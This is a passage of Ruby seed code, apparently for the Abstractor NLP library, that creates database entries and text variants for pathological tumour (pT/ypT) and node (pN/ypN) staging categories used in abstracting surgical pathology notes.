'pTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'Tis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_Tis').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT1', vocabulary_code: 'pT1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T1').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT1mi', vocabulary_code: 'pT1mi').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T1mi').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT1a', vocabulary_code: 'pT1a').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T1a').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT1b', vocabulary_code: 'pT1b').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T1b').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT1c', vocabulary_code: 'pT1c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T1c').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT1', vocabulary_code: 'pT1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T1').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT2', vocabulary_code: 'pT2').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT2').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T2').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T2').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT3', vocabulary_code: 'pT3').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT3').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T3').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T3').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT4', vocabulary_code: 'pT4').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T4').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT4a', vocabulary_code: 'pT4a').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT4a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T4a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T4a').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT4b', vocabulary_code: 'pT4b').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT4b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T4b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T4b').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT4c', vocabulary_code: 'pT4c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT4c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T4c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T4c').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT4d', vocabulary_code: 'pT4d').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT4d').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T4d').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T4d').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT4', vocabulary_code: 'pT4').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T4').first_or_create #begin yp abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypTx', vocabulary_code: 'ypTx').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTx').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yTX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yTX').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT0', vocabulary_code: 'ypT0').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT0').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypTis (DCIS)', vocabulary_code: 'ypTis (DCIS)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTis (DCIS)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'ypTis(DCIS)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTis(DCIS)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'ypTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yTis').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypTis (Paget)', vocabulary_code: 'ypTis (Paget)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTis (Paget)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'ypTis(Paget)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTis(Paget)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'ypTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yTis').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT1', vocabulary_code: 'ypT1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT1').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT1mi', vocabulary_code: 'ypT1mi').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT1mi').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT1a', vocabulary_code: 'ypT1a').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT1a').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT1b', vocabulary_code: 'ypT1b').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT1b').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT1c', vocabulary_code: 'ypT1c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT1c').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT1', vocabulary_code: 'ypT1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT1').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT1').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT2', vocabulary_code: 'ypT2').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT2').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT2').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT2').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT3', vocabulary_code: 'ypT3').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT3').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT3').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT3').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT4', vocabulary_code: 'ypT4').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT4').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT4a', vocabulary_code: 'ypT4a').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT4a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT4a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT4a').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT4b', vocabulary_code: 'ypT4b').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT4b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT4b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT4b').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT4c', vocabulary_code: 'ypT4c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT4c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT4c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT4c').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT4d', vocabulary_code: 'ypT4d').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT4d').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT4d').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT4d').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypT4', vocabulary_code: 'ypT4').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypT4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yT4').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yT4').first_or_create #end yp abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #End pT Category #Begin pN Category abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'pathological_nodes_staging_category', display_name: 'pN Category', abstractor_object_type: list_object_type, preferred_name: 'pN').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'staging').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'stage').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'node').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN', vocabulary_code: 'pN').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pNX', vocabulary_code: 'pNX').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pNX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'NX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_NX').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN0', vocabulary_code: 'pN0').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N0').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN0 (i+)', vocabulary_code: 'pN0 (i+)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN0 (i+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N0 (i+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N0 (i+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N0i+').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N0i+').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN0 (mol+)', vocabulary_code: 'pN0 (mol+)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN0 (mol+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N0 (mol+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N0 (mol+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N0mol+').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N0mol+').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN1mi', vocabulary_code: 'pN1mi').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N1mi').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N1mi').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN1a', vocabulary_code: 'pN1a').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N1a').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N1a').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN1b', vocabulary_code: 'pN1b').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N1b').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N1b').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN1c', vocabulary_code: 'pN1c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N1c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N1c').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pN3c', vocabulary_code: 'pN3c').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pN3c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'N3c').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_N3c').first_or_create #begin ypn abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN', vocabulary_code: 'ypN').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypNX', vocabulary_code: 'ypNX').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypNX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yNX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yNX').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN0', vocabulary_code: 'ypN0').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_yN0').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'ypN0 (i+)', vocabulary_code: 'ypN0 (i+)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_ypN0 (i+)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'yN0 (i+)').first_or_create 